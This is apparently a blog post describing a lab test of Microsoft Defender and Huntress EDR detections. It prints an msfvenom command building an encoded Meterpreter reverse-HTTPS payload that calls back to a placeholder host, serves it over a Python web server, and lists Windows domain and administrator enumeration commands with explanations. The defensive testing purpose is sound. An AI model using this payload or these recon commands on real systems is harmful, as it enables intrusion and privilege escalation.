Testing EDR Detections with Microsoft Defender and Huntress
Many businesses use an EDR solution to manage endpoints and remediate incidents. How can you be sure these solutions are working properly and are able to act to stop a threat when it occurs?
Today we will look at how Microsoft Defender and Huntress EDR respond to potential incidents and the valuable information they provide for cybersecurity professionals to investigate and respond to threats, as they happen.
Testing EDR Response
Enhanced Detection and Response (EDR) are security tools that leverage endpoint beacons that can detect, report, and remediate threats in real time. But how do we know that an EDR is working properly? We put them to the test!
For this test we have set up a lab environment with virtual machines (VMs) to put our EDRs to the test and see how they respond to an actual incident. To accomplish this, we set up two VMs: Kali Linux and Windows 11 for Business.
For our first test, we created three potentially malicious Meterpreter executable payloads using msfvenom on Kali Linux, as outlined in blumirabrian’s github repo.
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_https -e x86/shikata_ga_nai -i 1 lport=8443 lhost=1.2.3.4 -b "\x00" -f exe -o test.exe
Once we have these payloads, we can serve them from our Kali machine by running a simple python webserver:
python3 -m http.server
On our victim Windows 11 machine, we can then browse to the Kali Linux ip address at port 8000 to see the web server directory.
As we can see, our test executables are available for download:
Those who subscribe to certain Microsoft 365 licensing have access to Microsoft Defender for Business, which leverages integration with Microsoft Windows and the security admin console to respond to threats.
If we attempt to download our executables, we are first blocked by the browser, which warns us that we are attempting an insecure download. After clicking “keep”, Microsoft Defender and Google Chrome both alert us that the download contains a virus.
In the Security Center on the endpoint, we can see the details of the detection.
Microsoft defender certainly did its job well by detecting the malicious file and cleaning it up. What if we wanted to see something a bit more interesting, like an actual attach chain in progress? We want to test our sensors to see if Microsoft Defender can adequately detect things like recon, enumeration, privilege escalation, and spawning of processes.
Microsoft Defender Detections
For this, we turn to a very useful batch script created by op7ic on GitHub. Their EDR Testing Script allows us to do just that. This script runs a myriad of commands that mimic the various attack techniques a threat actor may leverage in a real attack. Let’s run it and see what happens!
Upon running the batch script, we are greeted with a user’s worst nightmare. CMD windows are spawned one after another as the script works through different techniques. Many Microsoft Defender alerts are generated by these processes.
To see how Microsoft Defender EDR responds to these alerts, we can navigate to the Microsoft Security console.
Upon logging into the console, we can navigate to the incidents page to see what’s happened on our endpoint.
Clicking on the incident reveals the Attack story, Alerts, and additional information. Within the attack story, each item shows the Incident graph, which lays out the timeline of each command and process executed, as well as ratings of severity and suspected malicious activity.
Navigating to the Incident timeline, we are shown a detailed play-by-play of each command that was executed. Below is an excerpt of the commands executed by our script, including common enumeration techniques.
Enumeration Techniques
let’s break down each of these enumeration commands to see what they mean and why these detections are important to investigate.
wmic useraccount get /ALL
This use of wmic queries the user accounts on the local machine and returns all users.
net group "domain administrators" /domain
This command queries the domain controller for a list of all domain administrators on the domain. Gathering this information can identify prime targets for attack, as domain administrators hold the “keys to the kingdom”, so to speak.
hostname
The “hostname” command returns the computer name of the local machine. This can be useful for discovering naming schemes and pivoting.
net user /domain
This command also queries the domain controller for a list of users on the domain to identify additional targets.
net localgroup administrators
Gathering information on local administrator accounts can identify pathways for privilege escalation
systeminfo
Identifying the system specifications the attacker is on can reveal potential vulnerabilities to be exploited for privilege escalation and persistence.
Note that all these commands are very “loud” and will undoubtedly be noticed by an EDR, as we can see from this Microsoft Defender Timeline. However, this pattern of commands and processes can inform security personnel that someone is poking around.
Huntress Response
Huntress Managed EDR is an EDR endpoint service that is designed to work with Microsoft Defender or any other antivirus. Huntress provides centralized management and visibility of endpoints, detections and events.
Lets see how Huntress logged our Microsoft Defender incident. When we log into the Huntress Command Center, we are greeted by a clean dashboard that provides some overall statistics about our environment.
As you can see, we have one active incident being reported. If we click on the incident, and then “view” on the endpoint incident, we are presented with a detailed Incident Report with a concise summary of the incident, remaining footholds, remediations, and the signals investigated.
By clicking on remediations, we are shown a list of suggested actions to remediate the incident, including automatically rebooting the endpoint.
After approving the remediation plan, the listed files are deleted, and a signal is sent to automatically reboot the host. On the endpoint, after a few minutes, a message is displayed to the user that a system reboot is imminent.
Rebooting the endpoint ends any running processes that may seek further persistence.
Conclusion
By utilizing Kali Linux and a simple script, we can mimic common tactics used by threat actors on an endpoint. This article is intended as an overview of how some of these attacks are reported in the Microsoft Defender console and the Huntress Command Center. EDR’s such as Huntress can be particularly useful for MSP’s that must monitor multiple tenants simultaneously.
In future articles, we’ll dive deeper into how additional attacks are implemented and how cybersecurity professionals can identify and respond to such threats.
Liked this post ? You can buy me a coffee